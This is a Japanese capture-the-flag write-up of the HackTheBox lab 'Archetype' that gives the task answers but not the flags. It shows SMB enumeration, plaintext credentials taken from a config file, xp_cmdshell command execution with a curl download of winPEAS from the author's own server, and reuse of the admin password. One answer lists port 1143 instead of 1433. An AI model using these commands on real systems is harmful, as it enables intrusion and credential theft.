セキュリティ猫の備忘録

セキュリティに関する事柄を備忘録として記していく

【HackTheBox】Starting Poinst - Tire2「Archetype」攻略

はじめに

HackTheBoxの攻略用の備忘録になります(攻略までの考え方、ツールの使い方をまとめるのを目的としています)。
最終解答のフラグは記載しておりませんが、フラグ取得までの過程及びそれまでの問いの解答については記載しておりますので、閲覧の際にはご注意ください。

今回はStarting PointのTier2「Archetype」についてをまとめます。

Archetype

Task1「Which TCP port is hosting a database server?」

まず、DBサーバーが稼働しているポート番号を特定することから始めます。
ポートスキャンには有名どころのnmapを使ってみます。
理想としてはポートをフルスキャンすることが望ましいですが、一先ずデフォルトのスキャンを行い、望む回答が得られなかった場合はフルスキャンをすることにします。

nmap -A -T4 <IP address>
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-24 03:50 EDT
Nmap scan report for <IP address>
Host is up (0.27s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-ntlm-info:
| Target_Name: ARCHETYPE
| NetBIOS_Domain_Name: ARCHETYPE
| NetBIOS_Computer_Name: ARCHETYPE
DNS_Domain_Name: Archetype
DNS_Computer_Name: Archetype
|_ Product_Version: 10.0.17763
ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2022-09-24T07:05:18
|_Not valid after: 2052-09-24T07:05:18
|_ssl-date: 2022-09-24T07:51:14+00:00; -1s from scanner time.
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
|_smb-os-discovery: ERROR: Script execution failed (use -d to debug)
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-time:
| date: 2022-09-24T07:51:09
|_ start_date: N/A
|_clock-skew: mean: -1s, deviation: 0s, median: -1s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 49.48 seconds

  • オプション:-A

 OS検出(-Oオプション)とバージョンスキャン(-sVオプション)をまとめて実行することができるオプション

  • オプション:-T4

 タイミング用のテンプレートを指定するオプション。T4はAggressiveモードを指定するものであり、スキャン速度を高速で実行するためのテンプレートである。

今回はデフォルトのポートスキャンを実行した際に、ポート番号1433にてMicrosoft SQL Serverが稼働している結果が得られた。

解答

1143

Task2「What is the name of the non-Administrative share available over SMB?」

SMBで管理されていない共有フォルダを探す必要があるようです。
SMBが稼働していることはTask1で行ったnmapの結果よりわかっています。
そこで、SMB接続をまずは試してみます。SMB接続にはsmbclientを利用します。

smbclient -h                 
使い方: smbclient [-?EgqBVNkPeC] [-?|--help] [--usage] [-R|--name-resolve=NAME-RESOLVE-ORDER] [-M|--message=HOST] [-I|--ip-address=IP] [-E|--stderr]
        [-L|--list=HOST] [-m|--max-protocol=LEVEL] [-T|--tar=<c|x>IXFvgbNan] [-D|--directory=DIR] [-c|--command=文字列] [-b|--send-buffer=BYTES]
        [-t|--timeout=SECONDS] [-p|--port=PORT] [-g|--grepable] [-q|--quiet] [-B|--browse] [-d|--debuglevel=DEBUGLEVEL] [-s|--configfile=CONFIGFILE]
        [-l|--log-basename=LOGFILEBASE] [-V|--version] [--option=name=value] [-O|--socket-options=SOCKETOPTIONS] [-n|--netbiosname=NETBIOSNAME]
        [-W|--workgroup=WORKGROUP] [-i|--scope=SCOPE] [-U|--user=USERNAME] [-N|--no-pass] [-k|--kerberos] [-A|--authentication-file=FILE]
        [-S|--signing=on|off|required] [-P|--machine-pass] [-e|--encrypt] [-C|--use-ccache] [--pw-nt-hash] service <password>

smbclient

現段階では、SMBが稼働しているという情報しかないため、以下のオプションを利用して情報を得られるか確認してみることにする。

  • -L

このオプションを指定すると、サーバー上で利用可能な サービスを一覧することができる。smbclient -L host のようにして使うと、サービスの一覧が表示される。

  • -N

このオプションを指定すると、クライアントはユーザーへの パスワード入力要求をしなくなる。パスワードが必要ないサービスにアクセスするときに有用である。
コマンドラインにパスワードが指定されておらず、このオプションも指定されていないと、クライアントはパスワードを要求する。
もしも、パスワードがコマンドライン上で指定され、このオプションも定義されていた場合、コマンドライン上のパスワードは無視され、パスワードは使われない。

結果

smbclient -N -L XX.XXX.XXX.XXX

Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
backups Disk
C$ Disk Default share
IPC$ IPC Remote IPC
Reconnecting with SMB1 for workgroup listing.

得られた共有フォルダ名のうち「backups」フォルダのみパスワードなしでアクセスすることができました。

解答

backups

Task3「What is the password identified in the file on the SMB share?」

「backups」フォルダにパスワードなしでアクセスできることが分かったので、アクセスしてみます。

smbclient -N //XX.XXX.XXX.XXX/backups
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Mon Jan 20 07:20:57 2020
.. D 0 Mon Jan 20 07:20:57 2020
prod.dtsConfig AR 609 Mon Jan 20 07:23:02 2020
cp
5056511 blocks of size 4096. 2616354 blocks available
smb: \> get prod.dtsConfig
getting file \prod.dtsConfig of size 609 as prod.dtsConfig (0.5 KiloBytes/sec) (average 0.5 KiloBytes/sec)
smb: \> exit

アクセスするとフォルダ内には、ファイルが一つだけありました。また、フォルダの移動はできなかったため、一つだけあるファイルをダウンロードしてみることにします。
ここで取得できた「.dtsConfig」ファイルはSQL Server Integration Services(SSIS)パッケージの適用に使用するファイルのようです。
ファイル拡張子データベース

取得したprod.dtsConfigファイルの中身を確認してみます。

cat prod.dtsConfig
<DTSConfiguration>
<DTSConfigurationHeading>
<DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..." GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/>
</DTSConfigurationHeading>
<Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String">
<ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;</ConfiguredValue>
</Configuration>
</DTSConfiguration>

ファイルの中には、構成情報と思われるものが含まれていました。その中に、パスワードとユーザ情報もありました。


解答

M3g4c0rp123

Task4「What script from Impacket collection can be used in order to establish an authenticated connection to a Microsoft SQL Server?」

impacketはネットワークプロトコルを操作するためのPythonでツールになります。

このimpacketのうち、Microsoft SQL Serverに利用できるスクリプトを調査します。
Google検索で「impacket mssql」などで適当に検索すれば、「mssqlclient.py」が引っかかります。

解答

mssqlclient.py

Task5「What extended stored procedure of Microsoft SQL Server can be used in order to spawn a Windows command shell?」

Windows コマンドを実行できるMicrosoft SQL Serverのストアドプロシージャを回答するタスクになります。調べると「xp_cmdshell」が引っかかりました。

解答

xp_cmdshell

Taks6「What script can be used in order to search possible paths to escalate privileges on Windows hosts?」

Windowsの権限昇格するためのスクリプトを回答するタスクになります。調査していると下記サイトに次の文言がありました。

Best tool to look for Windows local privilege escalation vectors: WinPEAS

「HackTricks」というサイトは、ハッキング手法などがまとめられているページのようです。

これによると、「WinPEAS」というツールが最適なようです。
WinPEASはWindowsの権限昇格に利用できるスクリプトのようでした。

解答

WinPEAS

Task7「What file contains the administrator's password?」

次は管理者権限のパスワードが記録されたファイルを探すタスクになります。
Task3~6の内容を使って探すはずですので、情報を整理してみます。

Task4,5の設問からMicrosoft SQL Serverを攻略することが想定されます。

Microsoft SQL Serverが稼働しているかはTask1の設問で行ったポートスキャンにより1433番ポートで提供されていることがわかります。

Microsoft SQL Serverへ接続するために利用できると推測できる情報はTask3で得られたユーザID「ARCHETYPE\sql_svc」とパスワード「M3g4c0rp123」があります。

Task4の情報からmssqlclientが利用できそうです。

Task5, 6で回答したコマンドおよびツールを使うことになりそうです。

これらの情報を使ってターゲットサーバーからファイルを探します。
まずは、mssqlclientを使ってMicrosoft SQL Serverへアクセスします。

impacket-mssqlclient -h
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
usage: mssqlclient.py [-h] [-port PORT] [-db DB] [-windows-auth] [-debug] [-file FILE] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key]
                      [-dc-ip ip address]
                      target
TDS client implementation (SSL supported).

positional arguments:
  target                [[domain/]username[:password]@]<targetName or address>

options:
  -h, --help            show this help message and exit
  -port PORT            target MSSQL port (default 1433)
  -db DB                MSSQL database instance (default None)
  -windows-auth         whether or not to use Windows Authentication (default False)
  -debug                Turn DEBUG output ON
  -file FILE            input file with commands to execute in the SQL shell

authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH
  -no-pass              don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters.
                        If valid credentials cannot be found, it will use the ones specified in the command line
  -aesKey hex key       AES key to use for Kerberos Authentication (128 or 256 bits)
  -dc-ip ip address     IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter

「target」情報として、ユーザ名とパスワードは取得した情報が使えそうです。また今回利用するユーザ情報はWindowsの認証情報と推測されるため、「-windows-auth」オプションを使います。

impacket-mssqlclient ARCHETYPE/sql_svc:M3g4c0rp123@<IP Address> -windows-auth
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(ARCHETYPE): Line 1: Changed database context to 'master'.
[*] INFO(ARCHETYPE): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)
[!] Press help for extra shell commands
SQL>

アクセスすることができました。
ここで「help」コマンドで利用できるコマンドを確認します。

SQL> help

lcd {path} - changes the current local directory to {path}
exit - terminates the server process (and this session)
enable_xp_cmdshell - you know what it means
disable_xp_cmdshell - you know what it means
xp_cmdshell {cmd} - executes cmd using xp_cmdshell
sp_start_job {cmd} - executes cmd using the sql server agent (blind)
! {cmd} - executes a local shell cmd

Microsoft SQL ServerWindowsコマンドを実行できるストアドプロシージャの「xp_cmdshell」もありました。
ここでxp_cmdshellを試しましたが、エラーが出て失敗しました。
そこで、helpの内容をもう一度確認すると、「enable_xp_cmdshell」コマンドがあることに気づきました。そのままの意味でxp_cmdshellを有効化するためのコマンドと推測されるので、「enable_xp_cmdshell」を実行します。
その後xp_cmdshellを実行すると、Windowsコマンドを実行することができました。

一通り、xp_cmdshellで実行できるコードを確認した後に、WinPEASを実行してみることにしました。
そのために、WinPEASをターゲットサーバーに送る必要があります。
WinPEASにはBatファイルもあるため、今回はWinPEAS.batを送り付けることにしました。
リモートからファイルをアップロードする機能はなさそうでしたが、Curlコマンドを使えることができたので、Webサーバーを立ち上げてWinPEAS.batをダウンロードさせることにしました。

python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.XXX.XXX.XXX - - [24/Sep/2022 05:28:02] "GET /winPEAS.bat HTTP/1.1" 200 -

ファイルはSQL Serverを稼働させている権限では、現在のフォルダに設置できなかったため、階層を登ったところにsmbで共有されていたbackupsを見つけ、そこに保存することにしました。

SQL> xp_cmdshell 'curl http://10.XXX.XXX.XXX:8000/winPEAS.bat > ..\..\backups\winPEAS.bat'
output                                                                                                                                                                                                                                                            
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------   
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current Dload  Upload   Total   Spent    Left  Speed                                                                                                                                                                                     
100 35946  100 35946    0     0  35946      0  0:00:01  0:00:01 --:--:-- 33345                     
NULL                                                                                                                                                                                                                                                              


SQL> xp_cmdshell 'dir ..\..\backups'
output                                                                                                                                                                                                                                                            
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------   
 Volume in drive C has no label.                                                                                                                                                                                                                                  
 Volume Serial Number is 9565-0B4F                                                                                                                                                                                                                                
NULL                                                                                                                                                                                                                                                              

 Directory of C:\backups                                                                                                                                                                                                                                          
NULL                                                                                                                                                                                                                                                              

09/24/2022  02:29 AM    <DIR>          .                                                                                                                                                                                                                          
09/24/2022  02:29 AM    <DIR>          ..                                                                                                                                                                                                                         
01/20/2020  05:23 AM               609 prod.dtsConfig                                                                                                                                                                                                             
09/24/2022  02:29 AM            35,946 winPEAS.bat                                                                                                                                                                                                                
               2 File(s)         36,555 bytes                                                                                                                                                                                                                     
               2 Dir(s)  10,712,080,384 bytes free                                                                                                                                                                                                                
NULL

出力された情報を見てみると、気になるテキストファイルを見つけました。

どうやらここにPowerShellのヒストリー情報が書き込まれるようです。

SQL> xp_cmdshell '..\..\backups\winPEAS.bat > ..\..\backups\winPEAS.txt'
output

SQL> xp_cmdshell 'type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt'
output

net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!

ファイルの中身を見てみると、ユーザを追加した情報を確認できました。
解答

ConsoleHost_history.txt

SUBMIT FLAG

Taks7で得られたユーザ名/パスワード情報を使いSMBへの接続します。

smbclient -U administrator //XX.XXX.XXX.XXX/C$

アクセスすることができたら、ユーザフォルダおよびAdministratorフォルダの中身を確認してみます。
すると、フラグが含まれていると思われるファイルを見つけることができました。
各々のファイルの中身を見てみると、フラグが記載されています。

smb: \Users\> ls sql_svc\Desktop\
  .                                  DR        0  Mon Jan 20 08:42:28 2020
  ..                                 DR        0  Mon Jan 20 08:42:28 2020
  desktop.ini                       AHS      282  Mon Jan 20 08:01:37 2020
  user.txt                           AR       32  Tue Feb 25 09:37:36 2020

                5056511 blocks of size 4096. 2615128 blocks available

smb: \Users\Administrator\Desktop\> ls
  .                                  DR        0  Tue Jul 27 05:30:54 2021
  ..                                 DR        0  Tue Jul 27 05:30:54 2021
  desktop.ini                       AHS      282  Tue Jul 27 05:30:54 2021
  root.txt                           AR       32  Tue Feb 25 09:36:20 2020

                5056511 blocks of size 4096. 2614735 blocks available

これにて「Archetype」の攻略が完了となりました。

おわりに

攻略後、他の方々の解法を見てみましたが、どうやらWinPEASを利用したところはシェルスクリプトを使える状態にして、攻略するほうが簡単なようです。(ここら辺をささっと組めるようになりたい。。。。)
また、SQL Serverに接続した際に権限回りを調べることをしてなかったので、ここら辺も参考になりました。

  • 参考URL

【Hack The Box】Starting Point(Archetype) - Qiita
【Hack The Box】Archtype - 家studyをつづって
Hack The Box Starting Point の一つ目、Archetype 攻略のメモ – ライフハッカー